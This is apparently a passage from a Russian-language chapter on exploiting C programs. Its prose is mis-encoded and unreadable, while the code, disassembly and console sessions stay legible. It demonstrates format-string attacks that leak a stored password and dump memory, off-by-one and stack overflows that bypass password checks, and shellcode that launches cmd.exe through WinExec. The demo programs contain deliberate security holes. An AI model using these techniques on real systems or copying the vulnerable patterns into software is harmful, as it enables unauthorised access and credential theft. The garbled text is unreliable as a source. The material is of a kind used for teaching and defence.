 0 var_8 ('b') (쭠 ६) 
 -4 var_4 ('a') (쭠 ६) 
 㭪  ,   । ᥣ  㬥, -  ப ᯥ䨪஢ ॡ 뢥  ("%x %x).  ᪮ 㬥    ᫥  ࠢ, ᠬ  㬥 ᯮ  ⥪  襬 . 䨪 "%x" ।뢠 뢥 設 ᫮ [316], ।  ⥪  祭.  ࠢ -   룫廊 ⥪   맮 㭪樨 "printf"  ᫥饩 ணࠬ ( ᪥, ਫ  ,  ᯮ  䠩 "/SRC/printf.demo.c"):


 main()

 {

 int a=0x666;

 int b=0x777;

 printf("%x %x\n",a,b);



}









 +12 off aXX ('%x %x') (ப ᯥ䨪஢)

 +08 var_4 ('a') (㬥 㭪樨 printf)

 +04 var_8 ('b') (㬥 㭪樨 printf)

 00 var_8 ('b') (쭠 ६) 
 -04 var_4 ('a') (쭠 ६) 
ᥬ஢ ⨭    ਢ, ᪮  ࠪ᪨  祬  ⫨砥  ।饣 ( ᪥, ਫ  ,  ᯮ  䠩 "/SRC/printf.demo.lst").  ⥪  ⭮⥫쭮 ᬥ饭 [317] +4 ᯮ ன 㬥 㭪樨. ᫨    ।,  㭪 ਬ  㬥  祭, ᯮ  ⮩ 祩.
⮬, ᬮ  ,  㭪樨 뫠 । ᥣ   ६,   ࠢ  ᥡ ⠪,     ।   㬥⮢ (    ⠥ ?):
 +8 off aXX ('%x %x') (ப ᯥ䨪஢)

 +4 var_4 ('a') (㬥 㭪樨 printf)

 0 var_8 ('b') (쭠 ६)

 -4 var_4 ('a') (쭠 ६) 
㬥,  㦭  ⥪ ६ 'b'   ⮩ 砩.    砥 - ⠬ 뫨  - . । ⢮ ᯥ䨪஢  ᬮ  ⥪ -  誨  ᠬ ! 쬠  ⭮ ⮣,     ,  諥. ਬ, ஫  室  ⥬.
 ⠭ ⭮ 訡, 饭 ࠧࠡ稪 buff.printf.c.  ਢ ᥬ஢ ⨭  ஡묨 ᭥ﬨ ( ᪥, ਫ  ,  室  䠩 "/SRC/demo.printf.lst"):
.text:00401000; --------------- S U B R O U T I N E ---------------------------------------
.text:00401000
.text:00401000; Attributes: bp-based frame
.text:00401000
.text:00401000 main proc near; CODE XREF: start+AFp
.text:00401000
.text:00401000 var_54 = byte ptr -54h
.text:00401000 var_44 = byte ptr -44h
.text:00401000 var_34 = byte ptr -34h
.text:00401000 var_14 = dword ptr -14h
.text:00401000 var_10 = byte ptr -10h
.text:00401000
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401001 ; ⨥  ⥪
.text:00401003 sub esp, 54h
.text:00401003 ; ࢨ 0x54    ६
.text:00401006 push offset aPrintfBugDemo; "printf bug demo\n"
.text:00401006 ; ᥭ  ⥪ ப " printf bug demo"
.text:0040100B call _printf
.text:0040100B ; 맮 printf("printf bug demo\n")
.text:00401010 add esp, 4
.text:00401010 ; ஢ ⥪
.text:00401013 push offset aR; "r"
.text:00401013 ; ᥭ  ⥪ ᬥ饭 ப "r"
.text:00401018 push offset aBuff_psw; "buff.psw"
.text:00401018; ᥭ  ⥪ ᬥ饭 ப "buff.psw"
.text:0040101D call _fopen
.text:0040101D; 맮 fopen("buff.psw","r");
.text:00401022 add esp, 8
.text:00401022; ஢ ⥪
.text:00401025 mov [ebp+var_14], eax
.text:00401025; ६ var_14 ।⠢ ᮡ 㪠⥫ 䠩 psw
.text:00401028 cmp [ebp+var_14], 0
.text:00401028;   ᯥ譮?
.text:0040102C jnz short loc_0_401033
.text:0040102C ;   ᯥ譮! த 믮 ணࠬ
.text:0040102E jmp loc_0_4010CD
.text:0040102E ;   ᯥ譮, 室  室
.text:00401033; ---------------------------------------------------------------------------
.text:00401033
.text:00401033 loc_0_401033:; CODE XREF: main+2Cj
.text:00401033 mov eax, [ebp+var_14]
.text:00401033 ; ᥭ  ॣ EAX 㪠⥫  䠩  psw
.text:00401036 push eax
.text:00401036 ; ⠫ psw  ⥪
.text:00401037 push 8
.text:00401037 ; ⠫  ⥪ ⠭ 8
.text:00401039 lea ecx, [ebp+var_54]
.text:00401039 ; ᥭ  ॣ ECX ᬥ饭 砫  var_54
.text:0040103C push ecx
.text:0040103C ; ⠫   ⥪
.text:0040103D call _fgets
.text:0040103D ;맮 fgets( amp;_pass[0],8,psw)
.text:0040103D ; var_54 ।⠢ ᮡ _pass
.text:00401042 add esp, 0Ch
.text:00401042 ;஢ ⥪
.text:00401045 push offset aLogin; "Login:"
.text:00401045 ; ⠫  ⥪ ᬥ饭 ப "Login:"
.text:0040104A call _printf
.text:0040104A ;맮 printf("Login:")
.text:0040104F add esp, 4
.text:0040104F ; ஢ ⥪
.text:00401052 push offset off_0_407090
.text:00401052 ; ⠫  ⥪ 㪠⥫   stdin
.text:00401057 push 0Ch
.text:00401057 ; ⠫  ⥪ ⠭ 0xC
.text:00401059 lea edx, [ebp+var_10]
.text:00401059 ; ᥭ  ॣ EDX 㪠⥫   var_10 (user)
.text:0040105C push edx
.text:0040105C ; ⠫   ⥪
.text:0040105D call _fgets
.text:0040105D ; 맮 ( amp;user[0],0xC,stdin)
.text:00401062 add esp, 0Ch
.text:00401062 ; ஢ ⥪
.text:00401065 push offset aPassw; "Passw:"
.text:00401065 ; ⠫  ⥪ 㪠⥫  ப Passw
.text:0040106A call _printf
.text:0040106A ; 맮 printf("Passw:")
.text:0040106F add esp, 4
.text:0040106F ; ஢ ⥪
.text:00401072 push offset off_0_407090
.text:00401072 ;⠫  ⥪ 㪠⥫   stdin
.text:00401077 push 0Ch
.text:00401077 ; ⠫  ⥪ ⠭ 0xC
.text:00401079 lea eax, [ebp+var_44]
.text:00401079 ; ᥭ  ॣ EAX 㪠⥫   var_44 (pass)
.text:0040107C push eax
.text:0040107C ; ⠫   ⥪
.text:0040107D call _fgets
.text:0040107D ; fgest( amp;pass[0],0xC,stdin)
.text:00401082 add esp, 0Ch
.text:00401082 ; ஢ ⥪
.text:00401085 lea ecx, [ebp+var_54]
.text:00401085 ; ᥭ  ॣ ECX 㪠⥫   var_54 (_pass)
.text:00401088 push ecx
.text:00401088 ; ⠫   ⥪
.text:00401089 lea edx, [ebp+var_44]
.text:00401089 ; ᥭ  ॣ EDX 㪠⥫   var_54 (pass)
.text:0040108C push edx
.text:0040108C ; ⠫   ⥪
.text:0040108D call _strcmp
.text:0040108D ; 맮 strcmp( amp;_pass[0], amp;pass[0])
.text:00401092 add esp, 8
.text:00401092 ; ஢ ⥪
.text:00401095 test eax, eax
.text:00401095 ;  ࠢ ஫?
.text:00401097 jz short loc_0_4010B0
.text:00401097; 室, ᫨  ࠢ ஫
.text:00401099 lea eax, [ebp+var_44]
.text:00401099 ; ᥭ  ॣ EAX 㪠⥫   var_44 (pass)
.text:0040109C push eax
.text:0040109C ; ⠫   ⥪
.text:0040109D push offset aInvalidPasswor; "Invalid password: %s"
.text:0040109D ; ⠫  ⥪ 㪠⥫  ப "Invalid password: %s"
.text:004010A2 lea ecx, [ebp+var_34]
.text:004010A2 ; ᥭ  ॣ ECX 㪠⥫   var_34 (buff)
.text:004010A5 push ecx
.text:004010A5 ; ⠫   ⥪
.text:004010A6 call _sprintf
.text:004010A6 ; 맮 sprintf( amp;buff[0],"Invalid password: %s", amp;pass[0])
.text:004010AB add esp, 0Ch
.text:004010AB; ஢ ⥪
.text:004010AE jmp short loc_0_4010C1
.text:004010B0; ---------------------------------------------------------------------------
.text:004010B0
.text:004010B0 loc_0_4010B0:; CODE XREF: main+97j
.text:004010B0 push offset aPasswordOk; "Password ok\n"
.text:004010B0; ⠫  ⥪ 㪠⥫  ப "Password ok"
.text:004010B5 lea edx, [ebp+var_34]
.text:004010B5 ; ᥭ  ॣ EDX 㪠⥫  砫  var_34 (buff)
.text:004010B8 push edx
.text:004010B8 ; ⠫   ⥪
.text:004010B9 call _sprintf
.text:004010B9 ; 맮 spritnf( amp;buff[0],"Password ok\n");
.text:004010BE add esp, 8
.text:004010BE ; ஢ ⥪
.text:004010C1
.text:004010C1 loc_0_4010C1:; CODE XREF: main+AEj
.text:004010C1 lea eax, [ebp+var_34]
.text:004010C1 ; ᥭ  ॣ EAX 㪠⥫  砫  var_34 (buff)
.text:004010C4 push eax
.text:004010C4 ; ⠫   ⥪
.text:004010C4 ; ﭨ ⥪ ( ⮬ 뤥 㬥 㭪樨 printf)
.text:004010C4; -0x04 var_34 (buff)
.text:004010C4; 0x00 var_54 (_pass)
.text:004010C4; -0x10 var_44 (pass)
.text:004010C4; -0x20 var_34 (buff)
.text:004010C4; -0x40 var_14 (psw)
.text:004010C4; -0x44 var_10 (user)
.text:004010C5 call _printf
.text:004010C5 ; 맮 printf( amp;buff[0])
.text:004010CA add esp, 4
.text:004010CA ; ஢ ⥪
.text:004010CD
.text:004010CD loc_0_4010CD:; CODE XREF: main+2Ej
.text:004010CD mov esp, ebp
.text:004010CD ; ⨥  ⥪, ᢮  ६
.text:004010CF pop ebp
.text:004010CF ; ⠭ ॣ EBP
.text:004010D0 retn
.text:004010D0 ; 室 - ணࠬ
.text:004010D0 main endp







 ࠧ, ﭨ ⥪   맮 㭪樨 pritnf ᫥饥 (। 㬥 뤥  ⮬):
 -0x04 var_34 (buff)
 0x00 var_54 (_pass)
 -0x10 var_44 (pass)
 -0x20 var_34 (buff)
 -0x40 var_14 (psw)
 -0x44 var_10 (user)
᫨ ᯥ䨪஢  , 祬 ࠬ஢,  㭪 筥 : ᮤন ,  ஬ 室 ਣ ஫!  ⮩ 砩    誥 ⥪,   ᫨    ᯮ ,      饩, ᪮ 㭪樨 "printf "㯥   ⥪.
 ணࠬ 㭪 뢠  ᯥ䨪஢ <printf( amp;buff[0])>, ,  । 㪠⥫  砫  buff,  ᮤন ,  䨫஢ ப,  짮⥫  ⢥ ஫,    ᮤঠ   㣮,  ⮬ ᫥  ᯥ䨪.
騩 ᯥਬ ,   ᯮ짮 ⠪ 訡 ணࠬ  ஭  ⥬ ( , ᬠਢ ⠫ ஫, ⠭  䠩):
 buff.printf.exe
 printf bug demo
 Login:kpnc
 Passw:%x %x %x
 Invalid password: 5038394b a2a4e 2f4968
 <஢> ⢥ ணࠬ 室 ॢ   ᫮, ᪮  ய Intel 訥  ᯮ  訬 ᠬ.  १ ⮣ 砥 ᫥饥:




㭮 017.txt ஢ ⢥ ணࠬ



 ࠧ, ᪮ ஫ ࠢ "K98PN*". ᫨    ணࠬ ( ᮡ ॣ),  १  ࠡ  룫拉 ⠪:
 buff.printf.exe
 printf bug demo
 Login:kpnc
 Passw:K98PN*
 Password ok
⪠ ᯮ짮 ᯥ䨪 "%s" ਢ    뢮 ப  㤮 ⠥ ,  ਩ 襭 ਫ.  த஢  㭪, ਢ :




㭮 075  ⥬  ᯮ짮 ᯥ䨪 %s



   ⥬,  㭪, ⨢ ᯥ䨪 "%s",  㢨 㪠⥫  ப,   ᠬ ப. ⮬, ந室 ⪠ 饭   0x5038384B ("K98PN"  ᨬ쭮 ।⠢),  室  ।  ணࠬ,   뢠 ᪫祭.
䨪 "%s" ਣ  ⮡ࠦ ᮤন 㪠⥫,  ⠪    ணࠬ.   த஢   ᫥饣 ਬ [318] ( ᪥, ਫ  ,  ᮤন  䠩 "/SRC/buff.printf.%s.c"):


 #include <stdio.h>

 #include <string.h>

 #include <malloc.h>



 void main()

 {

 FILE *f;

 char *pass;

 char *_pass;

 pass= (char *)malloc(100);

 _pass=(char *)malloc(100);

 if (!(f=fopen("buff.psw","r"))) return;

 fgets(_pass,100,f);

 _pass[strlen(_pass)-1]=0;

 printf("Passw:");fgets(pass,100,stdin);

 pass[strlen(pass)-1]=0;

 //:

 printf(pass);

}




  ࠧ  ࠧ饭   ⥪,   ,   뤥 㭪樥 malloc,   ⥪ ⠭ ஫ 㦥  ᮤন.   ᠬ   ⥪ 室 㪠⥫  ! ᯮ ᯥ䨪 "%s",  뢥  ࠭ ப, ᯮ  ⮬ . ਬ,   ᤥ ⠪:


 buff.printf.%s.exe

 Passw:%s

 K98PN*




஬ ⮣,   ᯥ䨪 "%s"     ( ) ᠬ ணࠬ! 㣨 ᫮,    ᮤন  祩 , 㯭 ணࠬ.  ந室  ⮬ ,  ப,  짮⥫, 頥  ⥪ (  ந室 祭 ). ਬ, ਢ ,  ࠧ   ⠪  ( ᪥, ਫ  ,  室  䠩 "/SRC/buff.pritnf.dump.c"):


 #include <stdio.h>

 #include <string.h>



 void main()

 {

 char buff[16];

 printf("printf dump demo\n");

 printf("Login:");

 fgets( amp;buff[0],12,stdin);

 buff[strlen(buff)-1]=0;

 printf(buff);

}






ப "%x%sXXXX" 뤠  ࠭ ப, ᯮ   "XXXX". 䨪 "%x" 室, ⮡ ய  ,   ᯮ ப "%x%s".  ᠬ   "XXXX"   ࠭祭. , ਬ,     ᨬ   .
騩 ਬ 뤠  ࠭ ᮤন , 稭   0x401001   ப ( ,   ,    , 騩 襭 ப). ਬ⥫쭮,    ᨬ   0x1, 0x10  0x40 뢠  筮  Ctrl.
 buff.printf.dump.exe
 printf dump demo
 Login:%x%s^A^P@
 73257825
>h0`@O>@
   ⢥ ணࠬ 뤠 ᯥ䨪஬ "%x",  ᫥ ।⠢ ᮡ  㪠⥫.  ᠬ ப ᯮ  ⮣  ਭ . ᫨    䠩  ᥬ஢, ਬ,   qview,   ᫥饥 (᫥  祢 ࠢ , ᪮   㦨 殬 ப):
 00000020: 8BEC mov ebp,esp
 00000022: 83EC10 sub esp,00000010
 00000025: 6830604000 push 00406030
   룫廊 १ ᥬ஢ 䠩 demo.printf.dump.exe   IDA:
 text:00401000 sub_0_401000 proc near; CODE XR
 text:00401000
 text:00401000 var_11 = byte ptr -11h
 text:00401000 var_10 = byte ptr -10h
 text:00401000
 text:00401000 55 push ebp
 text:00401001 8B EC mov ebp, esp
 text:00401003 83 EC 10 sub esp, 10h
 text:00401006 68 30 60 40 00 push offset aPrintfDumpDemo;
 text:0040100B E8 DB 01 00 00 call sub_0_4011EB
㤭 㡥  ⮬,   . 㫨 祭 㪠⥫  <>   ணࠬ. 筮, 뢠   㫥  , ਤ த ஬ ⢮ 権, ० 祬 㤠 <४> ணࠬ  ᮡ⢥ . , -,   ⮬⨧஢,  -,  ᥣ   㣨  祭 ணࠬ ᯥ祭,  訩   থ  㦮  ।⠢ 쬠   ,  ࠢ, ᮤঠ騥 ஫.
䨪 "%c" ⠥  ᫮  ⥪  ᥪ   . ⮬,  設⢥ 砥  뢠 ਣ. , ᫨  ਬ buff.printf.demo   ᯥ䨪 "%x"  ᯥ䨪 "%c" १ ࠡ 㤥 拉 ⠪:
 buff.printf.exe
 printf bug demo
 Login:kpnc
 Passw:%c%c
 Invalid password: KN
ணࠬ 뤠    ன ᨬ ஫, :   ! ⮬,    ஫  㤮⠥  室 ⪠뢠,   ᯮ짮 ᯥ䨪 "%x".
ᠭ ⮤, ண ,    ⭮  ९      ⢮  ⥪.  ⥭ ᮤন ⥪ ᯮᮡ   訩 ஭ ᭮ ⥬, 祬 ࠤ樮 ९ .  ⢮ 梨  㭪樨 printf 뢠   ணࠬ, ⮬- 設⢮ ਫ, 騥 묨,   ⠪  ࠧ.
 ࠭ ஧ ஭ ⥬  ࠧࠡ稪  䨫஢  짮⥫.   宥 襭, ᪮ 짮⥫    ᥡ ஫  <Kri%s>  㤥 祭 㤨, ᫨ ⥬ ⪠  ਭ.   ⮩   室  樨,  த஢  ⨭, ਢ : ( ᪥, ਫ  ,  室  䠩 "/SRC/buff.printf.nobug.c"):


 #include <stdio.h>

 #include <string.h>





 void main()

 {

 FILE *psw;

 char buff[32];

 char user[16];

 char pass[16];

 char _pass[16];



 printf("printf bug demo\n");

 if (!(psw=fopen("buff.psw","r"))) return;

 fgets( amp;_pass[0],8,psw);



 printf("Login:");fgets( amp;user[0],12,stdin);

 printf("Passw:");fgets( amp;pass[0],12,stdin);



 if (strcmp( amp;pass[0], amp;_pass[0]))

 sprintf( amp;buff[0],"Invalid password: %s", amp;pass[0]);

 else

 sprintf( amp;buff[0],"Password ok\n");



 printf("%s", amp;buff[0]);



}




 䠩 demo.printf.c  ⫨砥 ᥣ  ப,  뤥  ⮬. 쪮 ᠬ  㬥 㭪樨 printf  ᮤঠ  ᥡ ᯥ䨪,   ⠫    ந஢.  뢠 ᫥騩 ᯥਬ:
 buff.printf.nobug.exe
 printf bug demo
 Login:kpnc
 Passw:%x
 Invalid password: %x
  ப,  짮⥫,  ᬮ 맢 ।᪠㥬  ணࠬ!    室 ਡ  䨫樨 ,  ᠬ  ᥡ ॢ ᥭ  訡!    梨   ணࠬ 筮 ᯮ짮 蠡 ᪮.
訡, ਢ騥  ९ ,  ᫮. ⪠ ஢ ணࠬ  ப ୮   ᥣ   १.    訡  ⮫쪮   ப । .  ࠧ ⠪    ᫥騩 ਬ ( ᪥, ਫ  ,  室  䠩 "/SRC/buff.arg.c"):


 #include <stdio.h>

 #include <string.h>



 void main (int argc, char ** argv)

 {

 char buff[10];

 if (argc<2) return;

 if ( strlen(argv[1])>10 ) return;

 strcpy( amp;buff[0], amp;argv[1][0]);

}




 訡 ᮡ ࠭ । 稭 ணࠬ⮢,  ன 砥   ᨮ. ப         ⨡⮢ , ᪮    室 騩 !  १   <뫥>  !   ப   ᨬ ᥪ ணࠬ,  訡  ⮫쪮   ᨬ ப!
訡 ९    砥 筮 .  ⮬ ਢ ⠭    ᠬ ᨢ, 稭  ; 믮 樨 ࠢ  䨪樨 ६; ० 饭  ᫮ﬨ 室  横  ..   筮 ࠦ <訡  -  !>,   ᯮᮡ ࠭ ன 砥   祭 <ਧ> ६ 㬥襭  㢥祭  祭  .
ਬ, ᫨ "if (p>strlen(str)) break"  ࠡ⠥,   ணࠬ <룠 宩>    "if (p>(strlen(str)-1)) break" [319].  ᫨ <訡  -  >   ᥡ  ⮢ ண ணࠬ,   蠭   䨭쭮 ᨨ        ⥭樠쭮 .
 ९    <ࢠ ⥪> , ᪮ ⮡ <>     設⢥ 砥 ॡ <> ࠭ 祭 ॣ EBP [320], 饥  .     䠪   ᯮ짮  ⠪! ⮬, ९騩   ᥣ ᯮ  設 ⥪. ॥ ᥣ,   ᫥   ६, ᪠ 祭   ਢ  襭 ଠ쭮 ࠡᯮᮡ ணࠬ:  ᠭ   ᠭ樮஢ থ  ⥬.
 ਬ, ਢ  ( ᪥, ਫ  ,  室  䠩 "/SRC/buff.var.c"), ᯮ ६-䫠 noguest, 㫥 祭 ன 뢠   ⥬ ᥬ 騬:


 #include <stdio.h>

 #include <string.h>



 main (int argc,char **argv)

 {

 int noguest=1;

 char pass[16];

 int a=1;

 for (;a<argc;a++)

 {

 if (argv[a][0]-'/')

 {

 if (!strcmp( amp;argv[a][0],"/GUEST:ON")) noguest=0;

}

 else

 {

 if (strlen(argv[a])>16)

 printf("Too long arg: %s\n",argv[a]);

 else

 strcpy( amp;pass[0],argv[a]);

}

}

 if ((!strcmp("KPNC++\n", amp;pass[0])) || (!noguest))

 printf("Password ok\n");

 else

 printf("Wrong password\n");





}




ᥬ஢  ⠭,  ६ "noguest" ᯮ  <墮>  buff    ᪠   ९. ᪮,  ஢થ  ப 饭 訡 <if (strlen(argv[a])>16):>, 騩  ⭠ᨬ쭮 ப 㫨 祭 ६ "noguest"  ஥ 諥   ⥬.   ᫥騩 ᯥਬ:
 buff.var.exe 1234567890123456
 Password ok
 ᫨ 㢥  ப     , ணࠬ    ࠢ:
 buff.var.exe 12345678901234567
 Too long arg: 12345678901234567
 Wrong password
筮, ⭮   樨  ࠪ⨪ 祭 .  ⠪ 室 ⭮ 祭   ⥫.     ⥭ 稥 ࠢ,  ९騩    < > [321]  祣  ந.   ஬ ६   筠  㫥, .. ᫨ ணࠬ 뢠    設  㫥 祭 䫠 guest,   祣  ந諮. ⮬,  設⢥ 砥 ᠭ樮஢ 㯠  設   㤠,   <>  ࠧ ⭥.
ਬ, ᫥騩  (, ᪥, ਫ  ,  室  䠩 "/SRC/buff.var.2.c"),  ⫨稥  ।饣, 㤭  ⢥  <  >:


 #include <stdio.h>

 #include <string.h>



 main (int argc,char **argv)

 {



 char pass[16];

 int a=1;

 for (;a<argc;a++)

 {

 if (argv[a][0]-'/')

 {

 if (!strcmp( amp;argv[a][0],"/GUEST:ON"))

 {

 printf("Guest user ok\n");

 break;

}

}

 else

 {

 if (strlen(argv[a])>16)

 printf("Too long arg: %s\n",argv[a]);

 else

 strcpy( amp;pass[0],argv[a]);

}

}

 if ((!strcmp("KPNC++\n", amp;pass[0])))

 printf("Password ok\n");

 else

 printf("Wrong password\n");



}




९  맮    稪 横 'a',  १ 祣 横   ⨣ ᢮ ,  ணࠬ <᭥>.  ᫨   ᯮ  設 ⥪,  <뫥⥢訩>   ।  ᪠ 祭 ॣ EBP. 設⢮ ஢  , ᯮ騩  樨  ६ ॣ EBP, ⮬ ᪠  祭 ਢ  襭 ࠡ 뢠饩 楤.
   ᫥騩 ਬ ( ᪥, ਫ  ,  ᯮ  䠩 "/SRC/buff.ebp.c"):


 #include <stdio.h>

 #include <string.h>



 int Auth()

 {

 char pass[16];

 printf("Passwd:");fgets( amp;pass[0],17,stdin);

 return!strcmp("KPNC++\n", amp;pass[0]);

}



 main (int argc,char **argv)

 {



 int guest=0;

 if (argc>2) if (!strcmp( amp;argv[1][0],"/GUEST:ON")) guest=1;



 if (Auth() || guest) printf("Password ok\n");

 else

 printf("Wrong password\n");



}




 ப  "1234567890123456123"  ࠭ 祭 ॣ EBP,  १ 祣  ⪥  祭 ६ guest ந 饭  ᮢᥬ 㣮  , , ᪮॥ ᥣ, ᮤন 㫥 祭.  १ 諥 ᬮ ᠭ樮஢   ⥬.
䨪 ࠭ 祭 ॣ EBP   䥪 -   ॣ஬ EBP   ॣ-㪠⥫ 誨 ⥪. 設⢮ ஢  ਡ⥫쭮 ᫥騥 ஫   㭪権 ( ⨭  뤥  ⮬):
.text:00401040 Main proc near; CODE XREF: start+AFp
.text:00401040
.text:00401040 var_4 = dword ptr -4
.text:00401040
.text:00401040 push ebp
.text:00401041 mov ebp, esp
.text:00401043 push ecx
.text:00401044 push offset aChahgeEbp; "Chahge EBP\n"
.text:00401049 call sub_0_401214
.text:0040104E add esp, 4
.text:00401051 call Auth
.text:00401056 mov [ebp+var_4], eax
.text:00401059 cmp [ebp+var_4], 0
.text:0040105D jz short loc_0_40106E
.text:0040105F push offset aPasswordOk; "Password ok\n"
.text:00401064 call sub_0_401214
.text:00401069 add esp, 4
.text:0040106C jmp short loc_0_40107B
.text:0040106E;
 ---------------------------------------------------------------------
.text:0040106E
.text:0040106E loc_0_40106E:; CODE XREF: Main+1Dj
.text:0040106E push offset aWrongPassword; "Wrong password\n"
.text:00401073 call sub_0_401214
.text:00401078 add esp, 4
.text:0040107B
.text:0040107B loc_0_40107B:; CODE XREF: Main+2Cj
.text:0040107B mov esp, ebp
.text:0040107D pop ebp
 .text:0040107E retn
ࢠ 祭 ॣ ESP   EBP, ⥬ 뤥    ६ (᫨  ) 㬥襭 ESP.   室  㭪樨 ESP ⠭ ⥬ ᢮ 祭, ࠭  ॣ EBP. ᫨  뢠 㭪 ᪠ 祭 EBP,   室  㭪樨 ESP 㤥 㪠뢠 㦥    ,   - 㣮    ।   ࠢ, ᪮॥ ᥣ, ந ᪫祭  樮 ⥬ ਮ⠭ 믮 ணࠬ.




㭮 078



 ᫥ ᪠ 祭 ॣ EBP    ᯮᮡ । ࠢ  । , ,  ⮣ 室, ⮡  ࠧ頫   뢠饩 楤.



. ᯮ짮 뢠 ⥪  ᪠    Windows NT



稢  믮 ᢮   㤠 設, 諥,  ࠢ, ६   ,  ⠥ 맢 ⥬ 㭪樨  襭 ᢮   ॣ樨  짮⥫  ⥬. 䨪   梨 ணࠬ (ਬ ன ਢ   <孮 뢠 ⥪>)  ᥣ  ⠪饬   १.
 ࠢ UNIX ⠪   ।⠢  ᫮⥩. 㭪樨    맢  ।⢮ ணࠬ 뢠 INT 0x80 ( LINUX),  ।祩 ࠢ  ᮡ , 㥬 窮 室   ⥬ ᮢ⨬  System V ᯮ   0x0007:0x00000000. । ⥬ 맮   㭪 exec,  㯥  fork (   )  ᪠ 㣨 ணࠬ,  ⮬ ᫥   ,   ନ UNIX -  (Shell).
㭪  Windows NT 㯭 १ ணࠬ 뢠 INT 0x2F,    <>   ⮢  ।⢥ ᯮ짮.  맮 㭪樨 ZwCreateProcess,   NtCreateProcess (EAX=0x29, INT 0x2Fh)  ᮧ  ⮪   筮.  CreateProcessA (CreateProcessW), ࠧ饭  㫥 KERNEL32.DLL, ᮤন  <燐筮> ,  祬  㡥,    ᥬ஬.
 ਫ,  ⮫쪮 ࢨᮬ, ।⠢塞 뢠 INT 0x2F ,  ॡ ⥫쭮 ꥬ ,  ⠪饬, ᪮॥ ᥣ,  㯥. ⮬, 室 ਡ  맮 㭪権  㫥 DLL. ࠤ樮  ⮣ 㦠 ࠭  맮 LoadLibray,  ⥬   ॡ㥬 㭪樨   GetProcAddress. ਬ,   맮    룫拉 ⠪:
 UINT (__stdcall *x) (LPCSTR lpCmdLine, UINT uCmdShow);
 x= (UINT (__stdcall *)(LPCSTR lpCmdLine, UINT uCmdShow))
 (GetProcAddress(LoadLibrary("KERNEL32.DLL"),"WinExec"));
 x("cmd.exe",SW_SHOW);
ᯮ짮 ॢ襩 㭪樨 "WinExec"  ᮢ६ "CreateProcess" ⥫쭮 頥 .   㬥⮢ CreateProcess, 㭪 WinExec  ᥣ  - 㪠⥫   ப   ⮡ࠦ  ᫥ ᪠.   ᢮ 㪫뢠  ᥬ줥  訬 , ⠢   ⨬樨:
.text:00401000 55 push ebp
.text:00401001 8B EC mov ebp, esp
.text:00401003 51 push ecx
.text:00401004 68 30 50 40 00 push 405030h
.text:00401009 68 38 50 40 00 push offset aKernel32_dll; "KERNEL32.DLL"
.text:0040100E FF 15 04 40 40 00 call ds:LoadLibraryA
.text:00401014 50 push eax
.text:00401015 FF 15 48 40 40 00 call ds:GetProcAddress
.text:0040101B 89 45 FC mov [ebp+var_4], eax
.text:0040101E 6A 05 push 5
.text:00401020 68 48 50 40 00 push offset aCmd_exe; "cmd.exe"
.text:00401025 FF 55 FC call [ebp+var_4]
.text:00401028 8B E5 mov esp, ebp
.text:0040102A 5D pop ebp
.text:0040102B C3 retn
:
 data:00405030 57 69 6E 45 78 65+aWinexec db 'WinExec',0
 data:00405038 4B 45 52 4E 45 4C+aKernel32_dll db 'KERNEL32.DLL',0
 data:00405045 00 00 00 align 4
 data:00405048 63 6D 64 2E 65 78+aCmd_exe db 'cmd.exe',0
 ࠧ   ᫥騥 㤭 [322]: 稥 㫥 ᨬ    ⠪   .  筮, ᭠  ஢騪,   ਬ஢ ண ਢ   <஢ >,  祧  㫥 ᨬ   ப.   ᠬ ஢騪 ॡ - ⢮ , ன    墠. 㣠 㤭 砥  ᫥饬 - 㭪樨 LoadLibrary  GetProcAddress ॠ   NTDLL.DLL,   KERNEL32.DLL  १ 뢠 INT 0x2E 㯭. ० 祬  ᯮ짮, ᫥ 㧨 KERNEL32.DLL (   祣?)  ।  㭪樨 GetProcAddress (ਬ, 맮 ᠬ GetProcAddress [323]).
᫥ ᪠   , -   ਫ  Windows   ࠡ?  ⠪ ⨥   , - 祭 室 ⥪   ⠤ 㧪 䠩.  ⮣ 室 ᫨  ॡ㥬 㭪樨  ᥪ樨  PE-䠩.  ⠪  㯠 ணࠬ  맮 譨 㭪権,   LoadLibrary ਡ ।.
  ᫨ 諥     ᥪ樨  (  ⮣ 室  ࠢ   ᯮ塞 ,  ࠢ, ᯮ騩    䠩 [324]),   ⮫  ஡ ஢ ⮢ ᥪ樨 ,  ᠬ  ᥡ ।⠢ ਢ . , ᫨   ⮢ ன ᯥ譮,  묥 ᨫ ⮫쪮 ᫥ ᫥饩 㧪 䠩.
 ᠬ  , ᯮ  饭,        ⥬.   㬥஢ ᮡ⥩ Windows ⮨  ⮬,    ⥬ ஥  KERNEL32.DLL    ⥬  ᠬ. ᪮, 㤭 ।⠢ ᥡ ਫ, 室饥  KERNERL32.DLL [325],   ᤥ ।,   KERNEL32 㦥 㦥   맮 LoadLibrary 㦥   室.
   ᯮ짮 GetProcAddress.  㭪権 KERNEL32.DLL    ᮢ,    ᨬ  ᨨ 樮 ⥬.  ᪮쪮 㭨ᠫ ᯮᮡ    ࠡᯮᮡ    (ਬ, ⪠  GetProcAddress  ⠡  ⥪饣 ),     ,   ॠ  ⥫쭮 ⢮ . ⮬,  㤥 ᬮ७ ᠬ ⮩ ᯮᮡ ᯮ짮 䨪஢ ᮢ. ⢥  ⮪ 砥  <ਢ易>  ⭮ ᨨ 樮 ⥬.
 ।  㭪樨 WinExec  ᯮ짮 ᫥騬  (  ᥪ    ⨫ dumpbin, ⠢塞   Windows-஬):


 printf("0x%X \n",

 GetProcAddress(

 LoadLibrary("KERNEL32.DLL"),"WinExec"

)

);




 ࠢ Windows 2000 (ᡮઠ 2195) ணࠬ   0x77E98601,  㣨    祭.  , ᪠騩  ணࠬ,  룫拉 ᫥騬 ࠧ:
 00000000: 68 78 56 34 12 push 012345678;
 00000005: 68?????? ?? push offset cmdLine;
 0000000A: B8 01 86 E9 77 mov eax,077E98601;"
 0000000F: FF D0 call eax
ᥣ ⭠      䠩  , 饣 ࠢ ᭮ ⪥ ணࠬ.
 ᭥: ᪮, 㭪樨 API Windows 뢠  ᮣ襭 PASCAL,  㬥   ⥪ ࠢ  ,  ⠫   ⥪ ᠬ 뢠 㭪. ࢮ । ⠭ WS_SHOW, ࠢ . ᫨ ।  㣮 㫥 祭, 㭪  ࠢ ࠡ⠥ ᯥ譮,       㫥,    ᫮, 訩  ண ࠢ . 饭 ப, ᮤঠ饩  䠩, ⠪  ᮤন   ᢮ 襬 ,  ண 室 .   室 - ᢮  饣 ப .
